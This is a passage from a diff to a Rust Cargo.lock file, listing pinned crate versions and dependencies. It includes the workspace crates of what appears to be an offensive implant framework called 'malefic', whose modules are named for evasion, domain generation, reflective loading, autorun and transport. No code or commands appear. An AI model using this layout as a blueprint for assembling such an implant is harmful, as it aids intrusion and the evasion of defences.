= "9afb3de4395d6b3e67a780b6de64b51c978ecf11cb9a462c66be7d4ca9039d33" +dependencies = [ + "getrandom 0.3.3", + "libc", +] + +[[package]] +name = "js-sys" +version = "0.3.77" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1cfaf33c695fc6e08064efbc1f72ec937429614f25eef83af942d0e227c3a28f" +dependencies = [ + "once_cell", + "wasm-bindgen", +] + +[[package]] +name = "jsonschema" +version = "0.26.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "26a960f0c34d5423581d858ce94815cc11f0171b09939409097969ed269ede1b" +dependencies = [ + "ahash", + "base64 0.22.1", + "bytecount", + "email_address", + "fancy-regex", + "fraction", + "idna", + "itoa", + "num-cmp", + "once_cell", + "percent-encoding", + "referencing", + "regex-syntax", + "serde", + "serde_json", + "uuid-simd", +] + +[[package]] +name = "kv-log-macro" +version = "1.0.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0de8b303297635ad57c9f5059fd9cee7a47f8e8daa09df0fcd07dd39fb22977f" +dependencies = [ + "log", +] + +[[package]] +name = "lazy_static" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe" + +[[package]] +name = "libc" +version = "0.2.174" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1171693293099992e19cddea4e8b849964e9846f4acee11b3948bcc337be8776" + +[[package]] +name = "libloading" +version = "0.8.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "07033963ba89ebaf1584d767badaa2e8fcec21aedea6b8c0346d487d49c28667" +dependencies = [ + "cfg-if", + "windows-targets 0.53.3", +] + +[[package]] +name = "libredox" +version = "0.1.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "416f7e718bdb06000964960ffa43b4335ad4012ae8b99060261aa4a8088d5ccb" +dependencies = [ + "bitflags 2.11.0", + "libc", + "redox_syscall", +] + +[[package]] +name = "libudis86-sys" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "139bbf9ddb1bfc90c1ac64dd2923d9c957cd433cee7315c018125d72ab08a6b0" +dependencies = [ + "cc", + "libc", +] + +[[package]] +name = "linux-raw-sys" +version = "0.9.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cd945864f07fe9f5371a27ad7b52a172b4b499999f1d97574c9fa68373937e12" + +[[package]] +name = "litemap" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "643cb0b8d4fcc284004d5fd0d67ccf61dfffadb7f75e1e71bc420f4688a3a704" + +[[package]] +name = "log" +version = "0.4.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "13dc2df351e3202783a1fe0d44375f7295ffb4049267b0f3018346dc122a1d94" +dependencies = [ + "value-bag", +] + +[[package]] +name = "mac_address" +version = "1.1.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c0aeb26bf5e836cc1c341c8106051b573f1766dfa05aa87f0b98be5e51b02303" +dependencies = [ + "nix 0.29.0", + "winapi", +] + +[[package]] +name = "mach2" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d640282b302c0bb0a2a8e0233ead9035e3bed871f0b7e81fe4a1ec829765db44" +dependencies = [ + "libc", +] + +[[package]] +name = "malefic" +version = "0.1.1" +dependencies = [ + "anyhow", + "async-net", + "async-trait", + "embed-resource", + "futures", + "futures-rustls", + "futures-timer", + "hmac", + "malefic-autorun", + "malefic-common", + "malefic-config", + "malefic-evader", + "malefic-features", + "malefic-gateway", + "malefic-guardrail", + "malefic-os-win", + "malefic-proto", + "malefic-scheduler", + "malefic-stub", + "malefic-sysinfo", + "malefic-transport", + "md-5", + "rustls", + "rustls-pemfile", + "sha2", + "thiserror 2.0.18", + "tokio", +] + +[[package]] +name = "malefic-3rd" +version = "0.1.1" +dependencies = [ + "anyhow", + "async-trait", + "futures", + "futures-channel", + "futures-timer", + "libc", + "malefic-features", + "malefic-gateway", + "malefic-module", + "malefic-proto", + "malefic-rem", + "malefic-runtime", + "portable-pty", + "ureq", +] + +[[package]] +name = "malefic-autorun" +version = "0.1.0" +dependencies = [ + "anyhow", + "futures", + "malefic-common", + "malefic-config", + "malefic-crypto", + "malefic-gateway", + "malefic-manager", + "malefic-modules", + "malefic-proto", +] + +[[package]] +name = "malefic-codec" +version = "0.1.0" +dependencies = [ + "aes", + "cbc", + "chacha20", + "cipher", + "des", + "ecb", + "malefic-common", + "malefic-gateway", + "sha2", +] + +[[package]] +name = "malefic-common" +version = "0.1.0" +dependencies = [ + "anyhow", + "async-std", + "async-trait", + "futures", + "futures-timer", + "getrandom 0.2.16", + "libc", + "malefic-gateway", + "nanorand", + "smol", + "thiserror 2.0.18", + "tokio", +] + +[[package]] +name = "malefic-config" +version = "0.1.0" +dependencies = [ + "base64 0.22.1", + "malefic-common", + "malefic-gateway", +] + +[[package]] +name = "malefic-cron" +version = "0.1.0" +dependencies = [ + "chrono", + "cron", + "malefic-common", +] + +[[package]] +name = "malefic-crypto" +version = "0.1.0" +dependencies = [ + "aes", + "age", + "cfg-if", + "chacha20", + "ctr", + "snap", + "thiserror 2.0.18", +] + +[[package]] +name = "malefic-dga" +version = "0.1.0" +dependencies = [ + "chrono", + "malefic-common", + "malefic-config", + "malefic-gateway", + "sha2", + "thiserror 2.0.18", +] + +[[package]] +name = "malefic-evader" +version = "0.1.0" +dependencies = [ + "malefic-common", + "malefic-gateway", + "malefic-os-win", + "malefic-process", +] + +[[package]] +name = "malefic-features" +version = "0.1.0" +dependencies = [ + "malefic-common", + "malefic-gateway", + "malefic-os-win", +] + +[[package]] +name = "malefic-gateway" +version = "0.1.0" +dependencies = [ + "malefic-macro", + "nanorand", +] + +[[package]] +name = "malefic-guardrail" +version = "0.1.0" +dependencies = [ + "malefic-config", + "malefic-sysinfo", + "regex", +] + +[[package]] +name = "malefic-loader" +version = "0.1.0" +dependencies = [ + "anyhow", + "bindgen", + "libc", + "malefic-common", + "malefic-features", + "malefic-gateway", + "malefic-os-win", + "nix 0.26.4", + "windows", +] + +[[package]] +name = "malefic-macro" +version = "0.1.1" +dependencies = [ + "aes", + "const-random", + "ctr", + "proc-macro2", + "quote", + "rand 0.8.5", + "syn 2.0.108", +] + +[[package]] +name = "malefic-manager" +version = "0.1.0" +dependencies = [ + "anyhow", + "async-trait", + "futures", + "malefic-common", + "malefic-config", + "malefic-crypto", + "malefic-gateway", + "malefic-module", + "malefic-proto", + "malefic-runtime", + "strum", + "strum_macros", +] + +[[package]] +name = "malefic-module" +version = "0.1.0" +dependencies = [ + "anyhow", + "async-trait", + "futures", + "futures-channel", + "malefic-common", + "malefic-gateway", + "malefic-proto", + "prost", + "thiserror 2.0.18", +] + +[[package]] +name = "malefic-modules" +version = "0.1.1" +dependencies = [ + "anyhow", + "async-trait", + "futures", + "futures-channel", + "futures-timer", + "malefic-common", + "malefic-features", + "malefic-gateway", + "malefic-loader", + "malefic-module", + "malefic-net", + "malefic-os-win", + "malefic-process", + "malefic-proto", + "malefic-sysinfo", + "sha2", + "tar", + "tokio", +] + +[[package]] +name = "malefic-mutant" +version = "0.1.1" +dependencies = [ + "anyhow", + "base64 0.22.1", + "byteorder", + "chrono", + "clap", + "colored", + "const-random", + "crc32fast", + "duct", + "embed-resource", + "fake", + "goblin", + "hex", + "jsonschema", + "log", + "malefic-codec", + "malefic-common", + "malefic-config", + "malefic-crypto", + "malefic-gateway", + "malefic-proto", + "proc-macro2", + "prost", + "quote", + "rand 0.8.5", + "regex", + "rustls", + "serde", + "serde_json", + "serde_yaml", + "strum", + "strum_macros", + "syn 2.0.108", + "thiserror 2.0.18", + "toml_edit", + "url", + "walkdir", + "webpki-roots 0.26.11", + "zip", +] + +[[package]] +name = "malefic-net" +version = "0.1.0" +dependencies = [ + "anyhow", + "byteorder", + "libc", + "malefic-common", + "malefic-gateway", + "nix 0.26.4", + "windows", +] + +[[package]] +name = "malefic-os-win" +version = "0.1.0" +dependencies = [ + "anyhow", + "bindgen", + "detour", + "malefic-common", + "malefic-gateway", + "malefic-process", + "quote", + "strum", + "strum_macros", + "syn 2.0.108", + "thiserror 2.0.18", + "tokio", + "windows", + "windows-core 0.58.0", +] + +[[package]] +name = "malefic-prelude" +version = "0.1.1" +dependencies = [ + "anyhow", + "embed-resource", + "malefic-autorun", +] + +[[package]] +name = "malefic-process" +version = "0.1.0" +dependencies = [ + "anyhow", + "async-process", + "libc", + "malefic-common", + "malefic-gateway", + "nix 0.26.4", + "tokio", + "windows", +] + +[[package]] +name = "malefic-proto" +version = "0.1.0" +dependencies = [ + "anyhow", + "cfg-if", + "malefic-common", + "malefic-crypto", + "malefic-gateway", + "nanorand", + "prost", + "prost-build", + "serde", + "thiserror 2.0.18", +] + +[[package]] +name = "malefic-pulse" +version = "0.1.1" + +[[package]] +name = "malefic-rem" +version = "0.1.0" +dependencies = [ + "cc", + "malefic-common", +] + +[[package]] +name = "malefic-runtime" +version = "0.1.0" +dependencies = [ + "anyhow", + "async-trait", + "futures", + "futures-channel", + "malefic-common", + "malefic-gateway", + "malefic-loader", + "malefic-macro", + "malefic-module", + "malefic-proto", + "tokio", +] + +[[package]] +name = "malefic-scheduler" +version = "0.1.0" +dependencies = [ + "anyhow", + "futures", + "futures-timer", + "malefic-common", + "malefic-config", + "malefic-cron", + "malefic-crypto", + "malefic-module", + "malefic-proto", + "prost", +] + +[[package]] +name = "malefic-srdi" +version = "0.1.0" +dependencies = [ + "winapi", + "windows-sys 0.59.0", +] + +[[package]] +name = "malefic-stub" +version = "0.1.0" +dependencies = [ + "anyhow", + "futures", + "futures-timer", + "hmac", + "malefic-3rd", + "malefic-common", + "malefic-config", + "malefic-cron", + "malefic-crypto", + "malefic-gateway", + "malefic-manager", + "malefic-module", + "malefic-modules", + "malefic-proto", + "malefic-scheduler", + "malefic-sysinfo", + "malefic-transport", + "sha2", +] + +[[package]] +name = "malefic-sysinfo" +version = "0.1.0" +dependencies = [ + "anyhow", + "libc", + "mac_address", + "malefic-common", + "malefic-net", + "malefic-os-win", + "malefic-process", + "nix 0.26.4", + "obfstr", + "sha2", + "windows", +] + +[[package]] +name = "malefic-transport" +version = "0.1.0" +dependencies = [ + "anyhow", + "async-native-tls", + "async-net", + "async-trait", + "base64 0.22.1", + "cfg-if", + "futures", + "futures-rustls", + "futures-timer", + "httparse", + "malefic-common", + "malefic-config", + "malefic-crypto", + "malefic-dga", + "malefic-gateway", + "malefic-proto", + "malefic-rem", + "md-5", + "rustls", + "rustls-pemfile", + "thiserror 2.0.18", + "tokio", + "url", + "webpki-roots 0.26.11", +] + +[[package]] +name = "md-5" +version = "0.10.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d89e7ee0cfbedfc4da3340218492196241d89eefb6dab27de5df917a6d2e78cf" +dependencies = [ + "cfg-if", + "digest", +] + +[[package]] +name = "memchr" +version = "2.7.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32a282da65faaf38286cf3be983213fcf1d2e2a58700e808f83f4ea9a4804bc0" + +[[package]] +name = "memoffset" +version = "0.6.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5aa361d4faea93603064a027415f07bd8e1d5c88c9fbf68bf56a285428fd79ce" +dependencies = [ + "autocfg", +] + +[[package]] +name = "memoffset" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5de893c32cde5f383baa4c04c5d6dbdd735cfd4a794b0debdb2bb1b421da5ff4" +dependencies = [ + "autocfg", +] + +[[package]] +name = "memoffset" +version = "0.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "488016bfae457b036d996092f6cb448677611ce4449e970ceaf42695203f218a" +dependencies = [ + "autocfg", +] + +[[package]] +name = "minimal-lexical" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "68354c5c6bd36d73ff3feceb05efa59b6acb7626617f4962be322a825e61f79a" + +[[package]] +name = "miniz_oxide" +version = "0.7.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8a240ddb74feaf34a79a7add65a741f3167852fba007066dcac1ca548d89c08" +dependencies = [ + "adler", +] + +[[package]] +name = "miniz_oxide" +version = "0.8.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1fa76a2c86f704bdb222d66965fb3d63269ce38518b83cb0575fca855ebb6316" +dependencies = [ + "adler2", + "simd-adler32", +] + +[[package]] +name = "mio" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "78bed444cc8a2160f01cbcf811ef18cac863ad68ae8ca62092e8db51d51c761c" +dependencies = [ + "libc", + "wasi 0.11.1+wasi-snapshot-preview1", + "windows-sys 0.59.0", +] + +[[package]] +name = "mmap-fixed-fixed" +version = "0.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0681853891801e4763dc252e843672faf32bcfee27a0aa3b19733902af450acc" +dependencies = [ + "libc", + "winapi", +] + +[[package]] +name = "multimap" +version = "0.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1d87ecb2933e8aeadb3e3a02b828fed80a7528047e68b4f424523a0981a3a084" + +[[package]] +name = "nanorand" +version = "0.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6a51313c5820b0b02bd422f4b44776fbf47961755c74ce64afc73bfad10226c3" + +[[package]] +name = "native-tls" +version = "0.2.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a8614eb2c83d59d1c8cc974dd3f920198647674a0a035e1af1fa58707e317466" +dependencies = [ + "libc", + "log", + "openssl", + "openssl-probe", + "openssl-sys", + "schannel", + "security-framework", + "security-framework-sys", + "tempfile", +] + +[[package]] +name = "nix" +version = "0.25.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f346ff70e7dbfd675fe90590b92d59ef2de15a8779ae305ebcbfd3f0caf59be4" +dependencies = [ + "autocfg", + "bitflags 1.3.2", + "cfg-if", + "libc", + "memoffset 0.6.5", + "pin-utils", +] + +[[package]] +name = "nix" +version = "0.26.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "598beaf3cc6fdd9a5dfb1630c2800c7acd31df7aaf0f565796fba2b53ca1af1b" +dependencies = [ + "bitflags 1.3.2", + "cfg-if", + "libc", + "memoffset 0.7.1", + "pin-utils", +] + +[[package]] +name = "nix" +version = "0.29.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "71e2746dc3a24dd78b3cfcb7be93368c6de9963d30f43a6a73998a9cf4b17b46" +dependencies = [ + "bitflags 2.11.0", + "cfg-if", + "cfg_aliases", + "libc", + "memoffset 0.9.1", +] + +[[package]] +name = "nom" +version = "7.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d273983c5a657a70a3e8f2a01329822f3b8c8172b73826411a55751e404a0a4a" +dependencies = [ + "memchr", + "minimal-lexical", +] + +[[package]] +name = "num" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "35bd024e8b2ff75562e5f34e7f4905839deb4b22955ef5e73d2fea1b9813cb23" +dependencies = [ + "num-bigint", + "num-complex", + "num-integer", + "num-iter", + "num-rational", + "num-traits", +] + +[[package]] +name = "num-bigint" +version = "0.4.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a5e44f723f1133c9deac646763579fdb3ac745e418f2a7af9cd0c431da1f20b9" +dependencies = [ + "num-integer", + "num-traits", +] + +[[package]] +name = "num-cmp" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "63335b2e2c34fae2fb0aa2cecfd9f0832a1e24b3b32ecec612c3426d46dc8aaa" + +[[package]] +name = "num-complex" +version = "0.4.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "73f88a1307638156682bada9d7604135552957b7818057dcef22705b4d509495" +dependencies = [ + "num-traits", +] + +[[package]] +name = "num-integer" +version = "0.1.46" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7969661fd2958a5cb096e56c8e1ad0444ac2bbcd0061bd28660485a44879858f" +dependencies = [ + "num-traits", +] + +[[package]] +name = "num-iter" +version = "0.1.45" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1429034a0490724d0075ebb2bc9e875d6503c3cf69e235a8941aa757d83ef5bf" +dependencies = [ + "autocfg", + "num-integer", + "num-traits", +] + +[[package]] +name = "num-rational" +version = "0.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f83d14da390562dca69fc84082e73e548e1ad308d24accdedd2720017cb37824" +dependencies = [ + "num-bigint", + "num-integer", + "num-traits", +] + +[[package]] +name = "num-traits" +version = "0.2.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841" +dependencies = [ + "autocfg", +] + +[[package]] +name = "obfstr" +version = "0.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d0d354e9a302760d07e025701d40534f17dd1fe4c4db955b4e3bd2907c63bdee" + +[[package]] +name = "object" +version = "0.32.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a6a622008b6e321afc04970976f62ee297fdbaa6f95318ca343e3eebb9648441" +dependencies = [ + "memchr", +] + +[[package]] +name = "once_cell" +version = "1.21.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "42f5e15c9953c5e4ccceeb2e7382a716482c34515315f7b03532b8b4e8393d2d" + +[[package]] +name = "once_cell_polyfill" +version = "1.70.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a4895175b425cb1f87721b59f0f286c2092bd4af812243672510e1ac53e2e0ad" + +[[package]] +name = "opaque-debug" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c08d65885ee38876c4f86fa503fb49d7b507c2b62552df7c70b2fce627e06381" + +[[package]] +name = "openssl" +version = "0.10.75" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "08838db121398ad17ab8531ce9de97b244589089e290a384c900cb9ff7434328" +dependencies = [ + "bitflags 2.11.0", + "cfg-if", + "foreign-types", + "libc", + "once_cell", + "openssl-macros", + "openssl-sys", +] + +[[package]] +name = "openssl-macros" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a948666b637a0f465e8564c73e89d4dde00d72d4d473cc972f390fc3dcee7d9c" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.108", +] + +[[package]] +name = "openssl-probe" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d05e27ee213611ffe7d6348b942e8f942b37114c00cc03cec254295a4a17852e" + +[[package]] +name = "openssl-sys" +version = "0.9.111" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "82cab2d520aa75e3c58898289429321eb788c3106963d0dc886ec7a5f4adc321" +dependencies = [ + "cc", + "libc", + "pkg-config", + "vcpkg", +] + +[[package]] +name = "os_pipe" +version = "1.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "db335f4760b14ead6290116f2427bf33a14d4f0617d49f78a246de10c1831224" +dependencies = [ + "libc", + "windows-sys 0.59.0", +] + +[[package]] +name = "outref" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1a80800c0488c3a21695ea981a54918fbb37abf04f4d0720c453632255e2ff0e" + +[[package]] +name = "parking" +version = "2.2.1" + +[[package]] +name = "pbkdf2" +version = "0.12.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8ed6a7761f76e3b9f92dfb0a60a6a6477c61024b775147ff0973a02653abaf2" +dependencies = [ + "digest", + "hmac", +] + +[[package]] +name = "percent-encoding" +version = "2.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e3148f5046208a5d56bcfc03053e3ca6334e51da8dfb19b6cdc8b306fae3283e" + +[[package]] +name = "petgraph" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3672b37090dbd86368a4145bc067582552b29c27377cad4e0a306c97f9bd7772" +dependencies = [ + "fixedbitset", + "indexmap", +] + +[[package]] +name = "pin-project" +version = "1.1.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "677f1add503faace112b9f1373e43e9e054bfdd22ff1a63c1bc485eaec6a6a8a" +dependencies = [ + "pin-project-internal", +] + +[[package]] +name = "pin-project-internal" +version = "1.1.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6e918e4ff8c4549eb882f14b3a4bc8c8bc93de829416eacf579f1207a8fbf861" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.108", +] + +[[package]] +name = "pin-project-lite" +version = "0.2.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3b3cff922bd51709b605d9ead9aa71031d81447142d828eb4a6eba76fe619f9b" + +[[package]] +name = "pin-utils" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" + +[[package]] +name = "piper" +version = "0.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "96c8c490f422ef9a4efd2cb5b42b76c8613d7e7dfc1caf667b8a3350a5acc066" +dependencies = [ + "atomic-waker", + "fastrand", + "futures-io", +] + +[[package]] +name = "pkg-config" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7edddbd0b52d732b21ad9a5fab5c704c14cd949e5e9a1ec5929a24fded1b904c" + +[[package]] +name = "plain" +version = "0.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b4596b6d070b27117e987119b4dac604f3c58cfb0b191112e24771b2faeac1a6" + +[[package]] +name = "polling" +version = "3.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b5bd19146350fe804f7cb2669c851c03d69da628803dab0d98018142aaa5d829" +dependencies = [ + "cfg-if", + "concurrent-queue", + "hermit-abi", + "pin-project-lite", + "rustix", + "windows-sys 0.60.2", +] + +[[package]] +name = "poly1305" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8159bd90725d2df49889a078b54f4f79e87f1f8a8444194cdca81d38f5393abf" +dependencies = [ + "cpufeatures", + "opaque-debug", + "universal-hash", +] + +[[package]] +name = "portable-pty" +version = "0.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "806ee80c2a03dbe1a9fb9534f8d19e4c0546b790cde8fd1fea9d6390644cb0be" +dependencies = [ + "anyhow", + "bitflags 1.3.2", + "downcast-rs", + "filedescriptor", + "lazy_static", + "libc", + "log", + "nix 0.25.1", + "serial", + "shared_library", + "shell-words", + "winapi", + "winreg 0.10.1", +] + +[[package]] +name = "ppv-lite86" +version = "0.2.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85eae3c4ed2f50dcfe72643da4befc30deadb458a9b590d720cde2f2b1e97da9" +dependencies = [ + "zerocopy", +] + +[[package]] +name = "prettyplease" +version = "0.2.36" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff24dfcda44452b9816fff4cd4227e1bb73ff5a2f1bc1105aa92fb8565ce44d2" +dependencies = [ + "proc-macro2", + "syn 2.0.108", +] + +[[package]] +name = "proc-macro2" +version = "1.0.95" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "02b3e5e68a3a1a02aad3ec490a98007cbc13c37cbe84a3cd7b8e406d76e7f778" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "prost" +version = "0.14.1" +source = "git+https://github.com/chainreactors/prost.git?branch=skip-field-names-v0.14.1#0cb360d542f4f80774b98da0788ba233d39b05e4" +dependencies = [ + "bytes", + "prost-derive", +] + +[[package]] +name = "prost-build" +version = "0.14.1" +source = "git+https://github.com/chainreactors/prost.git?branch=skip-field-names-v0.14.1#0cb360d542f4f80774b98da0788ba233d39b05e4" +dependencies = [ + "heck", + "itertools 0.14.0", + "log", + "multimap", + "once_cell", + "petgraph", + "prettyplease", + "prost", + "prost-types", + "regex", + "syn 2.0.108", + "tempfile", +] + +[[package]] +name = "prost-derive" +version = "0.14.1" +source = "git+https://github.com/chainreactors/prost.git?branch=skip-field-names-v0.14.1#0cb360d542f4f80774b98da0788ba233d39b05e4" +dependencies = [ + "anyhow", + "itertools 0.14.0", + "proc-macro2", + "quote", + "syn 2.0.108", +] + +[[package]] +name = "prost-types" +version = "0.14.1" +source = "git+https://github.com/chainreactors/prost.git?branch=skip-field-names-v0.14.1#0cb360d542f4f80774b98da0788ba233d39b05e4" +dependencies = [ + "prost", +] + +[[package]] +name = "quote" +version = "1.0.40" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1885c039570dc00dcb4ff087a89e185fd56bae234ddc7f056a945bf36467248d" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "r-efi" +version = "5.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "69cdb34c158ceb288df11e18b4bd39de994f6657d83847bdffdbd7f346754b0f" + +[[package]] +name = "rand" +version = "0.8.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404" +dependencies = [ + "libc", + "rand_chacha 0.3.1", + "rand_core 0.6.4", +] + +[[package]] +name = "rand" +version = "0.9.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6db2770f06117d490610c7488547d543617b21bfa07796d7a12f6f1bd53850d1" +dependencies = [ + "rand_chacha 0.9.0", + "rand_core 0.9.5", +] + +[[package]] +name = "rand_chacha" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" +dependencies = [ + "ppv-lite86", + "rand_core 0.6.4", +] + +[[package]] +name = "rand_chacha" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d3022b5f1df60f26e1ffddd6c66e8aa15de382ae63b3a0c1bfc0e4d3e3f325cb" +dependencies = [ + "ppv-lite86", + "rand_core 0.9.5", +] + +[[package]] +name = "rand_core" +version = "0.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" +dependencies = [ + "getrandom 0.2.16", +] + +[[package]] +name = "rand_core" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "76afc826de14238e6e8c374ddcc1fa19e374fd8dd986b0d2af0d02377261d83c" +dependencies = [ + "getrandom 0.3.3", +] + +[[package]] +name = "redox_syscall" +version = "0.5.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5407465600fb0548f1442edf71dd20683c6ed326200ace4b1ef0763521bb3b77" +dependencies = [ + "bitflags 2.11.0", +] + +[[package]] +name = "ref-cast" +version = "1.0.24" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4a0ae411dbe946a674d89546582cea4ba2bb8defac896622d6496f14c23ba5cf" +dependencies = [ + "ref-cast-impl", +] + +[[package]] +name = "ref-cast-impl" +version = "1.0.24" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1165225c21bff1f3bbce98f5a1f889949bc902d3575308cc7b0de30b4f6d27c7" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.108", +] + +[[package]] +name = "referencing" +version = "0.26.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fb8e15af8558cb157432dd3d88c1d1e982d0a5755cf80ce593b6499260aebc49" +dependencies = [ + "ahash", + "fluent-uri", + "once_cell", + "percent-encoding", + "serde_json", +] + +[[package]] +name = "regex" +version = "1.11.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b5288124840bee7b386bc413c487869b360b2b4ec421ea56425128692f2a82c" +dependencies = [ + "aho-corasick", + "memchr", + "regex-automata", + "regex-syntax", +] + +[[package]] +name = "regex-automata" +version = "0.4.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "833eb9ce86d40ef33cb1306d8accf7bc8ec2bfea4355cbdebb3df68b40925cad" +dependencies = [ + "aho-corasick", + "memchr", + "regex-syntax", +] + +[[package]] +name = "regex-syntax" +version = "0.8.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2b15c43186be67a4fd63bee50d0303afffcef381492ebe2c5d87f324e1b8815c" + +[[package]] +name = "region" +version = "3.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6b6ebd13bc009aef9cd476c1310d49ac354d36e240cf1bd753290f3dc7199a7" +dependencies = [ + "bitflags 1.3.2", + "libc", + "mach2", + "windows-sys 0.52.0", +] + +[[package]] +name = "ring" +version = "0.17.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a4689e6c2294d81e88dc6261c768b63bc4fcdb852be6d1352498b114f61383b7" +dependencies = [ + "cc", + "cfg-if", + "getrandom 0.2.16", + "libc", + "untrusted", + "windows-sys 0.52.0", +] + +[[package]] +name = "rustc-demangle" +version = "0.1.26" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "56f7d92ca342cea22a06f2121d944b4fd82af56988c270852495420f961d4ace" + +[[package]] +name = "rustc-hash" +version = "2.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "357703d41365b4b27c590e3ed91eabb1b663f07c4c084095e60cbed4362dff0d" + +[[package]] +name = "rustc_version" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = 